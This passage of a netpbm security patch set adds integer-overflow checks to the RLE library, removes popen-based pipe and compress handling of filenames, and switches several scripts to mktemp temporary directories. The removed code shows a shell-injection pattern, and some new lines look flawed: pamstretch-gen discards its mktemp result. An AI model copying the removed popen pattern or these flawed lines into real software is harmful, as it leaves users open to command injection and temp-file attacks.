+#define overflow2(a,b) __overflow2(a,b)
+void __overflow2(int, int);
+void overflow3(int, int, int);
+void overflow_add(int, int);
+
 #endif
diff -up netpbm-10.47.04/other/pnmcolormap.c.security netpbm-10.47.04/other/pnmcolormap.c
--- netpbm-10.47.04/other/pnmcolormap.c.security	2009-10-21 13:38:54.000000000 +0200
+++ netpbm-10.47.04/other/pnmcolormap.c	2009-10-21 15:09:34.000000000 +0200
@@ -840,6 +840,7 @@ colormapToSquare(struct pam * const pamP
             pamP->width = intsqrt;
         else 
             pamP->width = intsqrt + 1;
+            overflow_add(intsqrt, 1);
     }
     {
         unsigned int const intQuotient = colormap.size / pamP->width;
diff -up netpbm-10.47.04/urt/README.security netpbm-10.47.04/urt/README
--- netpbm-10.47.04/urt/README.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/README	2009-10-21 15:09:34.000000000 +0200
@@ -18,3 +18,8 @@ in its initializer in the original.  But
 defines stdout as a variable, so that wouldn't compile.  So I changed
 it to NULL and added a line to rle_hdr_init to set that field to
 'stdout' dynamically.  2000.06.02 BJH.
+
+Redid the code to check for maths overflows and other crawly horrors.
+Removed pipe through and compress support (unsafe)
+
+Alan Cox <alan at redhat.com>
diff -up netpbm-10.47.04/urt/rle_addhist.c.security netpbm-10.47.04/urt/rle_addhist.c
--- netpbm-10.47.04/urt/rle_addhist.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_addhist.c	2009-10-21 15:09:34.000000000 +0200
@@ -14,6 +14,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * rle_addhist.c - Add to the HISTORY comment in header
@@ -76,13 +78,19 @@ rle_addhist(char *          argv[],
         return;
     
     length = 0;
-    for (i = 0; argv[i]; ++i)
+    for (i = 0; argv[i]; ++i) {
+	overflow_add(length, strlen(argv[i]));
+	overflow_add(length+1, strlen(argv[i]));
         length += strlen(argv[i]) +1;   /* length of each arg plus space. */
+    }
 
     time(&temp);
     timedate = ctime(&temp);
     length += strlen(timedate);        /* length of date and time in ASCII. */
 
+    overflow_add(strlen(padding), 4);
+    overflow_add(strlen(histoire), strlen(padding) + 4);
+    overflow_add(length, strlen(histoire) + strlen(padding) + 4);
     length += strlen(padding) + 3 + strlen(histoire) + 1;
         /* length of padding, "on "  and length of history name plus "="*/
     if (in_hdr) /* if we are interested in the old comments... */
@@ -90,9 +98,12 @@ rle_addhist(char *          argv[],
     else
         old = NULL;
     
-    if (old && *old)
+    if (old && *old) {
+	overflow_add(length, strlen(old));
         length += strlen(old);       /* add length if there. */
+    }
 
+    overflow_add(length, 1);
     ++length;                               /*Cater for the null. */
 
     MALLOCARRAY(newc, length);
diff -up netpbm-10.47.04/urt/rle_getrow.c.security netpbm-10.47.04/urt/rle_getrow.c
--- netpbm-10.47.04/urt/rle_getrow.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_getrow.c	2009-10-21 15:09:34.000000000 +0200
@@ -17,6 +17,8 @@
  *
  *  Modified at BRL 16-May-88 by Mike Muuss to avoid Alliant STDC desire
  *  to have all "void" functions so declared.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * rle_getrow.c - Read an RLE file in.
@@ -168,6 +170,7 @@ rle_get_setup(rle_hdr * const the_hdr) {
         register char * cp;
 
         VAXSHORT( comlen, infile ); /* get comment length */
+	overflow_add(comlen, 1);
         evenlen = (comlen + 1) & ~1;    /* make it even */
         if ( evenlen )
         {
diff -up netpbm-10.47.04/urt/rle_hdr.c.security netpbm-10.47.04/urt/rle_hdr.c
--- netpbm-10.47.04/urt/rle_hdr.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_hdr.c	2009-10-21 15:09:34.000000000 +0200
@@ -14,6 +14,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * rle_hdr.c - Functions to manipulate rle_hdr structures.
@@ -79,7 +81,10 @@ int img_num;
     /* Fill in with copies of the strings. */
     if ( the_hdr->cmd != pgmname )
     {
-	char *tmp = (char *)malloc( strlen( pgmname ) + 1 );
+	char *tmp ;
+
+	overflow_add(strlen(pgmname), 1);
+	tmp = malloc( strlen( pgmname ) + 1 );
 	RLE_CHECK_ALLOC( pgmname, tmp, 0 );
 	strcpy( tmp, pgmname );
 	the_hdr->cmd = tmp;
@@ -87,7 +92,9 @@ int img_num;
 
     if ( the_hdr->file_name != fname )
     {
-	char *tmp = (char *)malloc( strlen( fname ) + 1 );
+	char *tmp;
+	overflow_add(strlen(fname), 1);
+	tmp = malloc( strlen( fname ) + 1 );
 	RLE_CHECK_ALLOC( pgmname, tmp, 0 );
 	strcpy( tmp, fname );
 	the_hdr->file_name = tmp;
@@ -152,6 +159,7 @@ rle_hdr *from_hdr, *to_hdr;
     if ( to_hdr->bg_color )
     {
 	int size = to_hdr->ncolors * sizeof(int);
+	overflow2(to_hdr->ncolors, sizeof(int));
 	to_hdr->bg_color = (int *)malloc( size );
 	RLE_CHECK_ALLOC( to_hdr->cmd, to_hdr->bg_color, "background color" );
 	memcpy( to_hdr->bg_color, from_hdr->bg_color, size );
@@ -160,7 +168,7 @@ rle_hdr *from_hdr, *to_hdr;
     if ( to_hdr->cmap )
     {
 	int size = to_hdr->ncmap * (1 << to_hdr->cmaplen) * sizeof(rle_map);
-	to_hdr->cmap = (rle_map *)malloc( size );
+	to_hdr->cmap = (rle_map *)malloc3( to_hdr->ncmap, 1<<to_hdr->cmaplen, sizeof(rle_map));
 	RLE_CHECK_ALLOC( to_hdr->cmd, to_hdr->cmap, "color map" );
 	memcpy( to_hdr->cmap, from_hdr->cmap, size );
     }
@@ -173,11 +181,16 @@ rle_hdr *from_hdr, *to_hdr;
 	int size = 0;
 	CONST_DECL char **cp;
 	for ( cp=to_hdr->comments; *cp; cp++ )
+	{
+	    overflow_add(size, 1);
 	    size++;		/* Count the comments. */
+ 	}
 	/* Check if there are really any comments. */
 	if ( size )
 	{
+	    overflow_add(size, 1);
 	    size++;		/* Copy the NULL pointer, too. */
+	    overflow2(size, sizeof(char *));
 	    size *= sizeof(char *);
 	    to_hdr->comments = (CONST_DECL char **)malloc( size );
 	    RLE_CHECK_ALLOC( to_hdr->cmd, to_hdr->comments, "comments" );
diff -up netpbm-10.47.04/urt/rle.h.security netpbm-10.47.04/urt/rle.h
--- netpbm-10.47.04/urt/rle.h.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle.h	2009-10-21 15:09:34.000000000 +0200
@@ -14,6 +14,9 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
+ *  Header declarations needed
  */
 /* 
  * rle.h - Global declarations for Utah Raster Toolkit RLE programs.
@@ -166,6 +169,17 @@ rle_hdr             /* End of typedef. *
  */
 extern rle_hdr rle_dflt_hdr;
 
+/* 
+ * Provided by pm library
+ */
+ 
+extern void overflow_add(int, int);
+#define overflow2(a,b) __overflow2(a,b)
+extern void __overflow2(int, int);
+extern void overflow3(int, int, int);
+extern void *malloc2(int, int);
+extern void *malloc3(int, int, int);
+extern void *realloc2(void *, int, int);
 
 /* Declare RLE library routines. */
 
diff -up netpbm-10.47.04/urt/rle_open_f.c.security netpbm-10.47.04/urt/rle_open_f.c
--- netpbm-10.47.04/urt/rle_open_f.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_open_f.c	2009-10-21 15:15:38.000000000 +0200
@@ -163,64 +163,7 @@ dealWithSubprocess(const char *  const f
                    bool *        const noSubprocessP,
                    const char ** const errorP) {
 
-#ifdef NO_OPEN_PIPES
     *noSubprocessP = TRUE;
-#else
-    const char *cp;
-
-    reapChildren(catchingChildrenP, pids);
-
-    /*  Real file, not stdin or stdout.  If name ends in ".Z",
-     *  pipe from/to un/compress (depending on r/w mode).
-     *  
-     *  If it starts with "|", popen that command.
-     */
-        
-    cp = file_name + strlen(file_name) - 2;
-    /* Pipe case. */
-    if (file_name[0] == '|') {
-        pid_t thepid;     /* PID from my_popen */
-
-        *noSubprocessP = FALSE;
-
-        *fpP = my_popen(file_name + 1, mode, &thepid);
-        if (*fpP == NULL)
-            *errorP = "%s: can't invoke <<%s>> for %s: ";
-        else {
-            /* One more child to catch, eventually. */
-            if (*catchingChildrenP < MAX_CHILDREN)
-                pids[(*catchingChildrenP)++] = thepid;
-        }
-    } else if (cp > file_name && *cp == '.' && *(cp + 1) == 'Z' ) {
-        /* Compress case. */
-        pid_t thepid;     /* PID from my_popen. */
-        const char * command;
-
-        *noSubprocessP = FALSE;
-        
-        if (*mode == 'w')
-            asprintfN(&command, "compress > %s", file_name);
-        else if (*mode == 'a')
-            asprintfN(&command, "compress >> %s", file_name);
-        else
-            asprintfN(&command, "compress -d < %s", file_name);
-        
-        *fpP = my_popen(command, mode, &thepid);
-
-        if (*fpP == NULL)
-            *errorP = "%s: can't invoke 'compress' program, "
-                "trying to open %s for %s";
-        else {
-            /* One more child to catch, eventually. */
-            if (*catchingChildrenP < MAX_CHILDREN)
-                pids[(*catchingChildrenP)++] = thepid;
-        }
-        strfree(command);
-    } else {
-        *noSubprocessP = TRUE;
-        *errorP = NULL;
-    }
-#endif
 }
 
 
diff -up netpbm-10.47.04/urt/rle_putcom.c.security netpbm-10.47.04/urt/rle_putcom.c
--- netpbm-10.47.04/urt/rle_putcom.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_putcom.c	2009-10-21 15:09:34.000000000 +0200
@@ -14,6 +14,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * rle_putcom.c - Add a picture comment to the header struct.
@@ -98,12 +100,14 @@ rle_putcom(const char * const value,
         const char * v;
         const char ** old_comments;
         int i;
-        for (i = 2, cp = the_hdr->comments; *cp != NULL; ++i, ++cp)
+        for (i = 2, cp = the_hdr->comments; *cp != NULL; ++i, ++cp) {
+	    overflow_add(i, 1);
             if (match(value, *cp) != NULL) {
                 v = *cp;
                 *cp = value;
                 return v;
             }
+	}
         /* Not found */
         /* Can't realloc because somebody else might be pointing to this
          * comments block.  Of course, if this were true, then the
diff -up netpbm-10.47.04/urt/Runput.c.security netpbm-10.47.04/urt/Runput.c
--- netpbm-10.47.04/urt/Runput.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/Runput.c	2009-10-21 15:09:34.000000000 +0200
@@ -17,6 +17,8 @@
  *
  *  Modified at BRL 16-May-88 by Mike Muuss to avoid Alliant STDC desire
  *  to have all "void" functions so declared.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * Runput.c - General purpose Run Length Encoding.
@@ -202,9 +204,11 @@ RunSetup(rle_hdr * the_hdr)
     if ( the_hdr->background != 0 )
     {
 	register int i;
-	register rle_pixel *background =
-	    (rle_pixel *)malloc( (unsigned)(the_hdr->ncolors + 1) );
+	register rle_pixel *background;
 	register int *bg_color;
+
+	overflow_add(the_hdr->ncolors,1);
+	background = (rle_pixel *)malloc( (unsigned)(the_hdr->ncolors + 1) );
 	/* 
 	 * If even number of bg color bytes, put out one more to get to 
 	 * 16 bit boundary.
@@ -224,7 +228,7 @@ RunSetup(rle_hdr * the_hdr)
 	/* Big-endian machines are harder */
 	register int i, nmap = (1 << the_hdr->cmaplen) *
 			       the_hdr->ncmap;
-	register char *h_cmap = (char *)malloc( nmap * 2 );
+	register char *h_cmap = (char *)malloc2( nmap, 2 );
 	if ( h_cmap == NULL )
 	{
 	    fprintf( stderr,
diff -up netpbm-10.47.04/urt/scanargs.c.security netpbm-10.47.04/urt/scanargs.c
--- netpbm-10.47.04/urt/scanargs.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/scanargs.c	2009-10-21 15:09:34.000000000 +0200
@@ -38,6 +38,8 @@
  *
  *  Modified at BRL 16-May-88 by Mike Muuss to avoid Alliant STDC desire
  *  to have all "void" functions so declared.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 
 #include "rle.h"
@@ -65,8 +67,8 @@ typedef int *ptr;
 /* 
  * Storage allocation macros
  */
-#define NEW( type, cnt )	(type *) malloc( (cnt) * sizeof( type ) )
-#define RENEW( type, ptr, cnt )	(type *) realloc( ptr, (cnt) * sizeof( type ) )
+#define NEW( type, cnt )	(type *) malloc2( (cnt) , sizeof( type ) )
+#define RENEW( type, ptr, cnt )	(type *) realloc2( ptr, (cnt), sizeof( type ) )
 
 #if defined(c_plusplus) && !defined(USE_PROTOTYPES)
 #define USE_PROTOTYPES

netpbm-security-scripts.patch:
 converter/other/anytopnm |   13 +++-
 editor/pamstretch-gen    |    4 -
 editor/pnmmargin         |   32 ++++++----
 editor/ppmfade           |  137 ++++++++++++++++++++++++-----------------------
 editor/ppmquantall       |    8 --
 editor/ppmshadow         |    7 +-
 6 files changed, 108 insertions(+), 93 deletions(-)

--- NEW FILE netpbm-security-scripts.patch ---
diff -up netpbm-10.47.04/converter/other/anytopnm.security2 netpbm-10.47.04/converter/other/anytopnm
--- netpbm-10.47.04/converter/other/anytopnm.security2	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/anytopnm	2009-10-21 14:51:49.000000000 +0200
@@ -510,10 +510,7 @@ else
     inputFile="-"
 fi
 
-tempdir="${TMPDIR-/tmp}/anytopnm.$$"
-mkdir -m 0700 $tempdir || \
-  { echo "Could not create temporary file. Exiting."; exit 1;}
-trap 'rm -rf $tempdir' 0
+tempdir=$(mktemp -d -t anytopnm.XXXXXXXXXX) || exit 1
 
 # Take out all spaces
 # Find the filename extension for last-ditch efforts later
@@ -539,9 +536,17 @@ if [ "$filetype" = "unknown" ]; then
     echo "$progname: unknown file type.  " \
         "'file' says mime type is '$mimeType', " 1>&2
     echo "type description is '$typeDescription'" 1>&2
+    if [ -d "$tempdir" ] ; then
+        rm -rf "$tempdir"
+    fi
+
     exit 1
     fi
 
 convertIt $file $filetype
 
+if [ -d "$tempdir" ] ; then
+    rm -rf "$tempdir"
+fi
+
 exit 0
diff -up netpbm-10.47.04/editor/pamstretch-gen.security2 netpbm-10.47.04/editor/pamstretch-gen
--- netpbm-10.47.04/editor/pamstretch-gen.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pamstretch-gen	2009-10-21 14:53:28.000000000 +0200
@@ -31,9 +31,7 @@ if [ "$1" = "" ]; then
   exit 1
 fi
 
-tempdir="${TMPDIR-/tmp}/pamstretch-gen.$$"
-mkdir -m 0700 $tempdir || \
-  { echo "Could not create temporary file. Exiting."; exit 1;}
+tempfile=$(mktemp /tmp/pnmig.XXXXXXXXXX) || exit 1
 trap 'rm -rf $tempdir' 0 1 3 15
 
 tempfile=$tempdir/pnmig
diff -up netpbm-10.47.04/editor/pnmmargin.security2 netpbm-10.47.04/editor/pnmmargin
--- netpbm-10.47.04/editor/pnmmargin.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmmargin	2009-10-21 14:55:40.000000000 +0200
@@ -11,15 +11,11 @@
 # documentation.  This software is provided "as is" without express or
 # implied warranty.
 
-tempdir="${TMPDIR-/tmp}/pnmmargin.$$"
-mkdir -m 0700 $tempdir || \
-  { echo "Could not create temporary file. Exiting." 1>&2; exit 1;}
-trap 'rm -rf $tempdir' 0 1 3 15
-
-tmp1=$tempdir/pnmm1
-tmp2=$tempdir/pnmm2
-tmp3=$tempdir/pnmm3
-tmp4=$tempdir/pnmm4
+tmpdir=$(mktemp -d -t ppmmargin.XXXXXXX) || exit 1
+tmp1="$tmpdir/tmp1"
+tmp2="$tmpdir/tmp2"
+tmp3="$tmpdir/tmp3"
+tmp4="$tmpdir/tmp4"
 
 color="-gofigure"
 plainopt=""
@@ -43,6 +39,9 @@ while true ; do
 	shift
 	if [ ! ${1-""} ] ; then
        	    echo "usage: $0 [-white|-black|-color <colorspec>] <size> [pnmfile]" 1>&2
+            if [ -d "$tmpdir" ]; then
+                rm -rf "$tmpdir"
+            fi
 	    exit 1
 	fi
 	color="$1"
@@ -50,6 +49,9 @@ while true ; do
 	;;
 	-* )
 	echo "usage: $0 [-white|-black|-color <colorspec>] <size> [pnmfile]" 1>&2
+        if [ -d "$tmpdir" ]; then
+            rm -rf "$tmpdir"
+        fi
 	exit 1
 	;;
 	* )
@@ -60,6 +62,9 @@ done
 
 if [ ! ${1-""} ] ; then
     echo "usage: $0 [-white|-black|-color <colorspec>] <size> [pnmfile]" 1>&2
+    if [ -d "$tmpdir" ]; then
+        rm -rf "$tmpdir"
+    fi
     exit 1
 fi
 size="$1"
@@ -67,6 +72,9 @@ shift
 
 if [ ${2-""} ] ; then
     echo "usage: $0 [-white|-black|-color <colorspec>] <size> [pnmfile]" 1>&2
+    if [ -d "$tmpdir" ]; then
+        rm -rf "$tmpdir"
+    fi
     exit 1
 fi
 
@@ -103,6 +111,6 @@ else
     pnmcat -tb $plainopt $tmp3 $tmp4 $tmp3
 fi
 
-
-
-
+if [ -d "$tmpdir" ]; then
+    rm -rf "$tmpdir"
+fi
diff -up netpbm-10.47.04/editor/ppmfade.security2 netpbm-10.47.04/editor/ppmfade
--- netpbm-10.47.04/editor/ppmfade.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/ppmfade	2009-10-21 15:03:01.000000000 +0200
@@ -14,6 +14,7 @@
 #
 #-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
 use strict;
+use File::Temp "tempdir";
 
 my $SPREAD =  1;
 my $SHIFT =   2;
@@ -111,20 +112,26 @@ if ($first_file ne "undefined") {
 
 print("Frames are " . $width . "W x " . $height . "H\n");
 
+#
+# We create a tmp-directory right here
+#
+my $tmpdir = tempdir("ppmfade.XXXXXX", CLEANUP => 1);
+
+
 if ($first_file eq "undefined") {
     print "Fading from black to ";
-    system("ppmmake \\#000 $width $height >junk1$$.ppm");
+    system("ppmmake \\#000 $width $height >$tmpdir/junk1$$.ppm");
 } else {
     print "Fading from $first_file to ";
-    system("cp", $first_file, "junk1$$.ppm");
+    system("cp", $first_file, "$tmpdir/junk1$$.ppm");
 }
 
 if ($last_file eq "undefined") {
     print "black.\n";
-    system("ppmmake \\#000 $width $height >junk2$$.ppm");
+    system("ppmmake \\#000 $width $height >$tmpdir/junk2$$.ppm");
 } else {
     print "$last_file\n";
-    system("cp", $last_file, "junk2$$.ppm");
+    system("cp", $last_file, "$tmpdir/junk2$$.ppm");
 }
 
 #
@@ -132,14 +139,14 @@ if ($last_file eq "undefined") {
 #
 
 # Here's what our temporary files are:
-#   junk1$$.ppm: The original (fade-from) image
-#   junk2$$.ppm: The target (fade-from) image
-#   junk3$$.ppm: The frame of the fade for the current iteration of the 
-#                the for loop.
-#   junk1a$$.ppm: If the fade involves a ppmmix sequence from one intermediate
-#                 image to another, this is the first frame of that 
-#                 sequence.
-#   junk2a$$.ppm: This is the last frame of the above-mentioned ppmmix sequence
+#   $tmpdir/junk1$$.ppm: The original (fade-from) image
+#   $tmpdir/junk2$$.ppm: The target (fade-from) image
+#   $tmpdir/junk3$$.ppm: The frame of the fade for the current iteration of the 
+#                	 the for loop.
+#   $tmpdir/junk1a$$.ppm: If the fade involves a ppmmix sequence from one intermediate
+#                         image to another, this is the first frame of that 
+#                         sequence.
+#   $tmpdir/junk2a$$.ppm: This is the last frame of the above-mentioned ppmmix sequence
 
 my $i;    # Frame number
 for ($i = 1; $i <= $nframes; $i++) {
@@ -147,147 +154,147 @@ for ($i = 1; $i <= $nframes; $i++) {
     if ($mode eq $SPREAD) {
         if ($i <= 10) {
             my $n = $spline20[$i] * 100;
-            system("ppmspread $n junk1$$.ppm >junk3$$.ppm");
+            system("ppmspread $n $tmpdir/junk1$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n;
             $n = $spline20[$i] * 100;
-            system("ppmspread $n junk1$$.ppm >junk1a$$.ppm");
+            system("ppmspread $n $tmpdir/junk1$$.ppm >$tmpdir/junk1a$$.ppm");
             $n = (1-$spline20[$i-10]) * 100;
-            system("ppmspread $n junk2$$.ppm >junk2a$$.ppm");
+            system("ppmspread $n $tmpdir/junk2$$.ppm >$tmpdir/junk2a$$.ppm");
             $n = $spline10[$i-10];
-            system("ppmmix $n junk1a$$.ppm junk2a$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1a$$.ppm $tmpdir/junk2a$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = (1-$spline20[$i-10])*100;
-            system("ppmspread $n junk2$$.ppm >junk3$$.ppm");
+            system("ppmspread $n $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
     } elsif ($mode eq $SHIFT) {
         if ($i <= 10) {
             my $n = $spline20[$i] * 100;
-            system("ppmshift $n junk1$$.ppm >junk3$$.ppm");
+            system("ppmshift $n $tmpdir/junk1$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n;
             $n = $spline20[$i] * 100;
-            system("ppmshift $n junk1$$.ppm >junk1a$$.ppm");
+            system("ppmshift $n $tmpdir/junk1$$.ppm >$tmpdir/junk1a$$.ppm");
             $n = (1-$spline20[$i-10])*100;
-            system("ppmshift $n junk2$$.ppm >junk2a$$.ppm");
+            system("ppmshift $n $tmpdir/junk2$$.ppm >$tmpdir/junk2a$$.ppm");
             $n = $spline10[$i-10];
-            system("ppmmix $n junk1a$$.ppm junk2a$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1a$$.ppm $tmpdir/junk2a$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = (1-$spline20[$i-10]) * 100;
-            system("ppmshift $n junk2$$.ppm >junk3$$.ppm");
+            system("ppmshift $n $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
     } elsif ($mode eq $RELIEF) {
         if ($i == 1) {
-            system("ppmrelief junk1$$.ppm >junk1r$$.ppm");
+            system("ppmrelief $tmpdir/junk1$$.ppm >$tmpdir/junk1r$$.ppm");
         }
         if ($i <= 10) {
             my $n = $spline10[$i];
-            system("ppmmix $n junk1$$.ppm junk1r$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1$$.ppm $tmpdir/junk1r$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1r$$.ppm junk2r$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1r$$.ppm $tmpdir/junk2r$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = $spline10[$i-20];
-            system("ppmmix $n junk2r$$.ppm junk2$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk2r$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("ppmrelief junk2$$.ppm >junk2r$$.ppm");
+            system("ppmrelief $tmpdir/junk2$$.ppm >$tmpdir/junk2r$$.ppm");
         }
     } elsif ($mode eq $OIL) {
         if ($i == 1) {
-            system("ppmtopgm junk1$$.ppm | pgmoil >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk1o$$.ppm");
+            system("ppmtopgm $tmpdir/junk1$$.ppm | pgmoil >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk1o$$.ppm");
         }
         if ($i <= 10) {
             my $n = $spline10[$i];
-            system("ppmmix $n junk1$$.ppm junk1o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1$$.ppm $tmpdir/junk1o$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1o$$.ppm junk2o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1o$$.ppm $tmpdir/junk2o$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = $spline10[$i-20];
-            system("ppmmix $n junk2o$$.ppm junk2$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk2o$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("ppmtopgm junk2$$.ppm | pgmoil >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk2o$$.ppm");
+            system("ppmtopgm $tmpdir/junk2$$.ppm | pgmoil >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk2o$$.ppm");
         }
     } elsif ($mode eq $EDGE) {
         if ($i == 1) {
-            system("ppmtopgm junk1$$.ppm | pgmedge >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk1o$$.ppm");
+            system("ppmtopgm $tmpdir/junk1$$.ppm | pgmedge >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk1o$$.ppm");
         }
         if ($i <= 10) {
             my $n = $spline10[$i];
-            system("ppmmix $n junk1$$.ppm junk1o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1$$.ppm $tmpdir/junk1o$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1o$$.ppm junk2o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1o$$.ppm $tmpdir/junk2o$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = $spline10[$i-20];
-            system("ppmmix $n junk2o$$.ppm junk2$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk2o$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("ppmtopgm junk2$$.ppm | pgmedge >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk2o$$.ppm");
+            system("ppmtopgm $tmpdir/junk2$$.ppm | pgmedge >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk2o$$.ppm");
         } 
     } elsif ($mode eq $BENTLEY) {
         if ($i == 1) {
-            system("ppmtopgm junk1$$.ppm | pgmbentley >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk1o$$.ppm");
+            system("ppmtopgm $tmpdir/junk1$$.ppm | pgmbentley >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk1o$$.ppm");
         }
         if ($i <= 10) {
             my $n = $spline10[$i];
-            system("ppmmix $n junk1$$.ppm junk1o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1$$.ppm $tmpdir/junk1o$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1o$$.ppm junk2o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1o$$.ppm $tmpdir/junk2o$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = $spline10[$i-20];
-            system("ppmmix $n junk2o$$.ppm junk2$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk2o$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("ppmtopgm junk2$$.ppm | pgmbentley >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk2o$$.ppm");
+            system("ppmtopgm $tmpdir/junk2$$.ppm | pgmbentley >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk2o$$.ppm");
         }
     } elsif ($mode eq $BLOCK) {
         if ($i <= 10) {
             my $n = 1 - 1.9*$spline20[$i];
-            system("pamscale $n junk1$$.ppm | " .
-                   "pamscale -width $width -height $height >junk3$$.ppm");
+            system("pamscale $n $tmpdir/junk1$$.ppm | " .
+                   "pamscale -width $width -height $height >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1a$$.ppm junk2a$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1a$$.ppm $tmpdir/junk2a$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
